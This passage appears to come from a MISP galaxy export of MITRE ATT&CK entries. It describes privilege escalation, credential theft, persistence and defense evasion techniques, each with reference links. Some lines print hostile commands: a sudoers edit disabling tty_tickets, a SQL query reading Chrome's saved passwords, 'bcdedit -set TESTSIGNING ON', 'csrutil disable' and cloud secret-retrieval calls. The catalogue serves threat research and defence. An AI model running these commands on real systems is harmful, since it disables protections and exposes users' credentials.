was last run to determine this timeout. Additionally, there is a `<code>tty_tickets</code>` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The `sudoers` file, `<code>/etc/sudoers</code>`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the `sudoers` file can also specify when to not prompt users for passwords with a line like `<code>user1 ALL=(ALL) NOPASSWD: ALL</code>. (Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, `<code>/var/db/sudo</code>`'s timestamp can be monitored to see if it falls within the `<code>timestamp_timeout</code>` range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if `<code>tty_tickets</code>` is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled `<code>tty_tickets</code>` to potentially make scripting easier by issuing `<code>echo 'Defaults !tty_tickets' &gt;&gt; /etc/sudoers</code>. (Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued `<code>killall Terminal</code>.

As of macOS Sierra, the `sudoers` file has `<code>tty_tickets</code>` enabled by default.

The tag is: `misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"`

**Table 5024. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1548/003">https://attack.mitre.org/techniques/T1548/003</a></td>
</tr>
<tr>
<td><a href="https://www.sudo.ws/">https://www.sudo.ws/</a></td>
</tr>
</tbody>
</table>

**Credentials from Web Browsers - T1555.003**

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `<code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code>` and executing a SQL query: `<code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `<code>CryptUnprotectData</code>`, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018) (Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. (Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: **misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"

**Table 5025. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1555/003">https://attack.mitre.org/techniques/T1555/003</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/02/olympic-destroyer.html">https://blog.talosintelligence.com/2018/02/olympic-destroyer.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/putterpanda/mimikittenz">https://github.com/putterpanda/mimikittenz</a></td>
<td></td>
</tr>
</tbody>
</table>

**Code Signing Policy Modification - T1553.006**

Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.

Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. (Citation: Microsoft DSE June 2017) (Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions. (Citation: Microsoft Unsigned Driver Apr 2017) (Citation: Apple Disable SIP)

Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel
Examples of commands that can modify the code signing policy of a system include `<code>bcdedit.exe -set TESTSIGNING ON</code>` on Windows and `<code>csrutil disable</code>` on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.

To gain access to kernel memory to modify variables related to signature checks, such as modifying `<code>g_CiOptions</code>` to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.

The tag is: `misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006"`

### Unix Shell Configuration Modification - T1546.004

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system `<code>/etc</code>` and the user's home directory `<code>~/</code>` to configure the environment. All login shells on a system use `/etc/profile` when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's
environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `<code>/etc/profile</code>` and `<code>/etc/profile.d</code>` files.(Citation: intezer-kaaji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `<code>~/.bash_profile</code>`, `<code>~/.bash_login</code>`, or `<code>~/.profile</code>` which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomalirocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used `<code>~/.bash_profile</code>` to ensure execution. Adversaries have also leveraged the `<code>~/.bashrc</code>` file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomalirocke-tactics)(Citation: anomal-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the `<code>~/.bash_logout</code>` file to execute malicious commands at the end of a session.

For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using `<code>/etc/profile</code>`, `<code>/etc/zshenv</code>`, `<code>/etc/zprofile</code>`, and `<code>/etc/zlogin</code>`.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with `<code>~/.zprofile</code>` and `<code>~/.zlogin</code>`. The interactive shell uses the `<code>~/.zshrc</code>` to configure the user environment. Upon exiting, `<code>/etc/zlogout</code>` and `<code>~/.zlogout</code>` are executed. For legacy programs, macOS executes `<code>/etc/bashrc</code>` on startup.

The tag is: `misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004"`

**Table 5027. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/004">https://attack.mitre.org/techniques/T1546/004</a></td>
</tr>
<tr>
<td><a href="https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/">https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/</a></td>
</tr>
<tr>
<td><a href="https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html">https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html</a></td>
</tr>
<tr>
<td><a href="https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a">https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a</a></td>
</tr>
<tr>
<td><a href="https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js">https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x48.html">https://objective-see.com/blog/blog_0x48.html</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5">https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/">https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/</a></td>
</tr>
</tbody>
</table>
Elevated Execution with Prompt - T1548.004

Adversaries may leverage the `<code>AuthorizationExecuteWithPrivileges</code>` API to escalate privileges by prompting the user for credentials. (Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse `<code>AuthorizationExecuteWithPrivileges</code>` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. (Citation: Death by 1000 installers; it's all broken!) (Citation: Carbon Black Shlayer Feb 2019) (Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code. (Citation: Death by 1000 installers; it's all broken!) (Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API. (Citation: Death by 1000 installers; it’s all broken!)

The tag is: `misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004"

Table 5028. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1548/004">https://attack.mitre.org/techniques/T1548/004</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x2A.html">https://objective-see.com/blog/blog_0x2A.html</a></td>
</tr>
</tbody>
</table>

Application or System Exploitation - T1499.004

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may
automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.

The tag is: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004"

### Table 5029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1499/004">https://attack.mitre.org/techniques/T1499/004</a></td>
</tr>
</tbody>
</table>

### Temporary Elevated Cloud Access - T1548.005

Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.

Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)

Account impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange)

Many cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access—for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service...
Account Authentication Roles)

While users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)

Note: this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)

The tag is: `misp-galaxy:mitre-attack-pattern="Temporary Elevated Cloud Access - T1548.005"

Table 5030. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1548/005">https://attack.mitre.org/techniques/T1548/005</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project">https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/iam/docs/service-account-permissions">https://cloud.google.com/iam/docs/service-account-permissions</a></td>
</tr>
<tr>
<td><a href="https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/">https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/</a></td>
</tr>
<tr>
<td><a href="https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/">https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/">https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/</a></td>
</tr>
</tbody>
</table>

Kernel Modules and Extensions - T1547.006

Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)

When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing
authenticated backdoors, and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through `<code>kextload</code>` and `<code>kextunload</code>` commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC. (Citation: System and kernel extensions in macOS)

Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces. (Citation: Apple Kernel Extension Deprecation)

Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well. (Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)

The tag is: "misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006"

**Table 5031. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://tldp.org/HOWTO/Module-HOWTO/x197.html">http://tldp.org/HOWTO/Module-HOWTO/x197.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/006">https://attack.mitre.org/techniques/T1547/006</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux">https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux</a></td>
</tr>
<tr>
<td><a href="https://github.com/f0rb1dd3n/Reptile">https://github.com/f0rb1dd3n/Reptile</a></td>
</tr>
<tr>
<td><a href="https://github.com/m0nad/Diamorphine">https://github.com/m0nad/Diamorphine</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/">https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/</a></td>
</tr>
</tbody>
</table>
Cloud Secrets Management Stores - T1555.006

Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.

Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.

If an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)

Note: this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud Secrets Management Stores - T1555.006"`

Table 5032. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1555/006">https://attack.mitre.org/techniques/T1555/006</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/secret-manager/docs/view-secret-details">https://cloud.google.com/secret-manager/docs/view-secret-details</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html">https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html</a></td>
</tr>
<tr>
<td><a href="https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud">https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/scarleteel-2-0/">https://sysdig.com/blog/scarleteel-2-0/</a></td>
</tr>
</tbody>
</table>

Modify Cloud Compute Configurations - T1578.005

Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas,
subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim's compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.

For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim's entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)

Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim's compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Configurations - T1578.005"

Table 5033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1578/005">https://attack.mitre.org/techniques/T1578/005</a></td>
</tr>
</tbody>
</table>

**Services Registry Permissions Weakness - T1574.011**

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under `<code>HKLM\SYSTEM\CurrentControlSet\Services</code>`. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled
through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The <code>Performance</code> key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL. (Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL. (Citation: insecure_reg_perms)

Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities. (Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>. (Citation: malware_hides_service)

The tag is: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"

Table 5034. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/011">https://attack.mitre.org/techniques/T1574/011</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree">https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree</a></td>
</tr>
<tr>
<td><a href="https://itm4n.github.io/windows-registry-rpceptmapper-eop/">https://itm4n.github.io/windows-registry-rpceptmapper-eop/</a></td>
</tr>
<tr>
<td><a href="https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html">https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r0wdy_/status/936365549553991680">https://twitter.com/r0wdy_/status/936365549553991680</a></td>
</tr>
</tbody>
</table>
Component Object Model Hijacking - T1546.015

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015"

Table 5035. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/015">https://attack.mitre.org/techniques/T1546/015</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms694363.aspx">https://msdn.microsoft.com/library/ms694363.aspx</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com">https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com</a></td>
</tr>
</tbody>
</table>

Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)

The tag is: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"

Table 5036. Table References
**Obtain domain/IP registration information - T1251**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251).

For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Obtain domain/IP registration information - T1251"`

**Assign KITs/KIQs into categories - T1228**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228).

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)

The tag is: `misp-galaxy:mitre-attack-pattern="Assign KITs/KIQs into categories - T1228"`
Receive operator KITs/KIQs tasking - T1235

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235).

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

The tag is: `misp-galaxy:mitre-attack-pattern="Receive operator KITs/KIQs tasking - T1235"`

Table 5039. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1235">https://attack.mitre.org/techniques/T1235</a></td>
</tr>
</tbody>
</table>

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

The tag is: `misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"`

Table 5040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1030">https://attack.mitre.org/techniques/T1030</a></td>
</tr>
</tbody>
</table>

Data from Local System - T1005

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. (Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.

The tag is: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"`

Table 5041. Table References

<table>
